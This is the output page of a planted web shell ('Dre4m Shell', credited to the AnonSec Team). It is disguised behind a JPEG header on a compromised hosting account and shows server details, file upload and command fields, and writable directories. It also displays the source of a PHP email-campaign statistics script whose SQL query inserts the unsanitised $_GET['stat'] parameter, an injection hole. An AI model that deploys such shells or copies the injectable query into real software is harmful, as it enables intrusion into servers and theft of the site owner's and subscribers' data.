ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/lavignotte.com/seo-mailing/tasks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /home/computer3/lavignotte.com/seo-mailing/tasks/stat.php
<?php
$que = "SELECT *,
(SELECT count(id) FROM ".$INFO['sql_tbl_prefix']."mail_user WHERE ".$INFO['sql_tbl_prefix']."mail_user.id_task_unsubscribe = ".$INFO['sql_tbl_prefix']."mail_task.id) as count_uns
FROM ".$INFO['sql_tbl_prefix']."mail_task WHERE id = {$_GET['stat']} LIMIT 1";
$res = mysqli_query($db,$que) or exit("select advice error");
$task = mysqli_fetch_array($res);

$task_count = mysqli_fetch_array(mysqli_query($db,"SELECT count(*),
(SELECT count(*) FROM ".$INFO['sql_tbl_prefix']."mail_task_email WHERE ".$INFO['sql_tbl_prefix']."mail_task_email.id_task = {$task['id']} AND ".$INFO['sql_tbl_prefix']."mail_task_email.status = 1 )  as send,
(SELECT count(*) FROM ".$INFO['sql_tbl_prefix']."mail_task_email WHERE ".$INFO['sql_tbl_prefix']."mail_task_email.id_task = {$task['id']} AND ".$INFO['sql_tbl_prefix']."mail_task_email.status = 0 )  as nsend,
(SELECT count(*) FROM ".$INFO['sql_tbl_prefix']."mail_user WHERE ".$INFO['sql_tbl_prefix']."mail_user.id_task_unsubscribe = {$task['id']})  as un
FROM ".$INFO['sql_tbl_prefix']."mail_task_email WHERE id_task = '".$task['id']."'"));

$open = mysqli_fetch_array(mysqli_query($db,"SELECT count(*) FROM ".$INFO['sql_tbl_prefix']."statistic_open WHERE id_task = '".$task['id']."'"));


?>
<div class="page-header">
<h3><?php echo __('Subject');?>: <?php echo $task['name']?> <?php if($task['cron_status']==1){?><span class="label">Planifier</span><?php }?></h3>
</div>
<table class="table table-bordered">
	<tr>
    	<th class="span2"><?php echo __('Send Date');?></th>
        <th><?php echo __('Email Subject');?></th>
        <th><?php echo __('Sent From');?></th>
        <th><?php echo __('Sent To');?></th>
        <th><?php echo __('Opened By');?></th>
        <th><?php echo __('Unsubscribed');?></th>
        <th><?php echo __('Bounces');?></th>
    </tr>
    <tbody>
    <tr class="font11">
		<td><?php echo date("d.m.Y H:i:s", $task['ddate_start']);?></td>
        <td><?php echo $task['name'];?></td>
        <td><?php echo $_SET['email_from']?></td>
        <td class="span1 center"><?php 
		if($task_count['send'] != 0) {$pr = $task_count['count(*)']*100/$task_count['send'];} else {$pr = 0;} ?>
        <input class="knob" data-fgcolor="#3a87ad" data-thickness=".4" data-min="0" data-max="<?php echo $task_count['count(*)']?>" data-step="1" data-readonly="true" value="<?php echo $task_count['send']?>" readonly="readonly">
        </td>
        <td class="span1 center">
        <input class="knob" data-fgcolor="#3a87ad" data-thickness=".4" data-min="0" data-max="<?php echo $task_count['count(*)']?>" data-step="1" data-readonly="true" value="<?php echo $open['count(*)']?>" readonly="readonly"></td>
        <td class="span1 center">
        <input class="knob" data-fgcolor="#3a87ad" data-thickness=".4" data-min="0" data-max="<?php echo $task_count['count(*)']?>" data-step="1" data-readonly="true" value="<?php echo $task_count['un']?>" readonly="readonly"></td>
        <td class="span1 center"><input class="knob" data-fgcolor="#3a87ad" data-thickness=".4" data-readonly="true" value="0" readonly="readonly"></td>    
    </tr>
    </tbody>
</table>
    </div>
</div>

Anon7 - 2022
AnonSec Team